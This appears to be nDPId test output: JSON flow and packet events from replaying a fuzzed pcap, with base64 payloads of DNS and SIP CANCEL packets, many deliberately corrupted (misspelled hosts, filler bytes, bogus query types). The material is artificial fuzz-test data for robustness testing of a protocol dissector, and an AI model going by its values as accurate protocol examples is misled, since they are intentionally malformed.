+00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":261,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1120470100319,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2753,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470100,"pkt_ts_usec":319543,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEao4AAIARTMfAqAECwKgBAQrBADUAMNwvSM4AAAABAAAAAAAAATEBMAEwAzEyNwdUbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":261,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1120470100319,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2753,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.tn-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":103,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470100,"pkt_ts_usec":321028,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODt9W69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CsEAR76rSM6AAAABAAEAAAAAATEBMAEwAzUyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhdGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":262,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":2,"flow_first_seen":1120470100319,"flow_last_seen":1120470100321,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2753,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.527.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00415{"flow_id":45,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470100,"pkt_ts_usec":322200,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":47,"pkt_l4_len":13,"pkt":"ADBUADRWAODtAW69CABFAAAhao8AAIARGH3AqAEC1PIhIxPEE8QADcBLICAgICA="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":264,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1120470102883,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.86.1.2","dst_ip":"200.68.120.99","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00910{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470102,"pkt_ts_usec":883325,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTapAAAIARzInAVgECyER4YxPEE8QBf5mcQ0FOQ0VMIHFpcDo5NzIzOTI4NzCiNEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcD44MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RxZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDc2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCo0K"} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":265,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1120470102883,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.86.1.2","dst_ip":"200.68.120.99","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":265,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1120470102883,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.86.1.2","dst_ip":"200.68.120.99","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":265,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1120470098867,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.169.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00910{"flow_id":90,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470106,"pkt_ts_usec":888846,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTapEAAIARzIjAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHMmcDo5NzIxOXA4NzA0NEB2qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00910{"flow_id":90,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470110,"pkt_ts_usec":894601,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTapIAAIARzIfAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA2NEB2b2lwLmJydWr1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC5xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1M2Q0NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpazo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Ii4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0LQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gmklQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":267,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470112,"pkt_ts_usec":342670,"pkt_caplen":86,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":267,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":269,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1120470113337,"flow_last_seen":0,"flow_tot_l4_data_len":17,"flow_min_l4_data_len":17,"flow_max_l4_data_len":17,"flow_avg_l4_data_len":17,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2754,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470113,"pkt_ts_usec":337845,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":17,"pkt":"ADBUADRWAODtA269CABFAAAlcwAAAIARTLzAqAECwKgBAQrCADUAPKwzfc8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00458{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":272,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1120470114910,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","l4_proto":118,"flow_datalink":1,"flow_max_packets":15} +00910{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470114,"pkt_ts_usec":910372,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAOTtAW69CABFAAGTapgAAIB2zIHAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEu2WV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00467{"flow_id":105,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470115,"pkt_ts_usec":340707,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIapkAAIARTLjAqAECwKgBAQrCADUANKwzfc8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaVd5AmRrAAAhAAE="} +00670{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":273,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":2,"flow_first_seen":1120470113337,"flow_last_seen":1120470115340,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":17,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2754,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cyberciwy.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01222{"flow_id":90,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470116,"pkt_ts_usec":279089,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"HODtAW69ADBUADRWCABFAAJ9AABAAC8RRzDIRHhRwKgBAhPEE8QCacjvU0lQLzIuMCA0MCAgUmVxdWVzdCBUaW1lb3V0DQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNTguMS4yO2JyYW5jaD16OWhHNGJLbnAxMDQ5ODQwNTMtNDRjZTRhNDExOTIuMTY4LjEuMjtycG9ydD01MDYwO3JlY2VpdmVkPTgwLmozMC4yMTkuNzANCkZyFW06ICJhcmlrIiA8c2lwyzgxNjY2NkB2b2lwLmJydXJqdWxhLm5ldD47dGFnPTY0MzNlZjkNClRvOiA8c2lwOjk3MjM5Mjg3MDQ0QHZvaXAuYnJ1anVsYS5uZXQ+O3RhZz1hNmExYzVmNjBmYWVjZjAzNWExYWU1YjZlOTZlOTc5YS1lNTI1DQpD+2xsLUlEKiAxMDUwOTAyNTktNDQ2ZmFmN2FAMTkyqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00473{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":275,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1120470114910,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","l4_proto":118,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00459{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":275,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1120470114910,"flow_last_seen":0,"flow_tot_l4_data_len":383,"flow_min_l4_data_len":383,"flow_max_l4_data_len":383,"flow_avg_l4_data_len":383,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","l4_proto":118,"flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":275,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1120470117343,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"14.168.1.2","dst_ip":"192.168.1.1","src_port":2754,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470117,"pkt_ts_usec":343746,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAOBJAW69CABFAABIapoAAIARTLcOqAECwKgBAQrCADUANKwzfc8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":275,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1120470117343,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"14.168.1.2","dst_ip":"192.168.1.1","src_port":2754,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":105,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470121,"pkt_ts_usec":594088,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIapsAAIARTLbAqAECwKgBAQrCADUANKwzfc8BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":279,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1120470117343,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"14.168.1.2","dst_ip":"192.168.1.1","src_port":2754,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":279,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1120470129591,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2755,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470129,"pkt_ts_usec":591869,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEapwAAIARTLnAqAECwKgBAQrDADUAMM8LVfAAAAABAAAAAAAAATEBMN0wAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00621{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":279,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1120470129591,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2755,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":108,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470129,"pkt_ts_usec":593389,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CsMAR7GHVfCAAAABACVzAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":280,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":2,"flow_first_seen":1120470129591,"flow_last_seen":1120470129593,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2755,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":37,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00416{"flow_id":45,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470129,"pkt_ts_usec":594559,"pkt_caplen":47,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":47,"pkt_l4_len":13,"pkt":"CDDUADRWAODtAW69CABFAAAhap0AAIARGG\/AqAEC1PIhIxPEE8QADcBLICAgICA="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":282,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1120470141614,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2756,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470141,"pkt_ts_usec":614697,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaqIAAIARTK\/AqAECwKgBAQrEADUANAAlcwABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrACVzAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":282,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1120470141614,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2756,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":9587,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_id":109,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470142,"pkt_ts_usec":609990,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBVADRWAODtAW69CABFAABIaqMAAIARTK7AqAECwKgBAQrEADUANAARKfABVwABAAAAAAAABF\/zaXAEX3VkcANzaXAJY3liZXJjaXSSAmRrAAAhAAE="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":283,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":2,"flow_first_seen":1120470141614,"flow_last_seen":1120470142609,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2756,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"__ip._udp.sip.cybercit_.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} 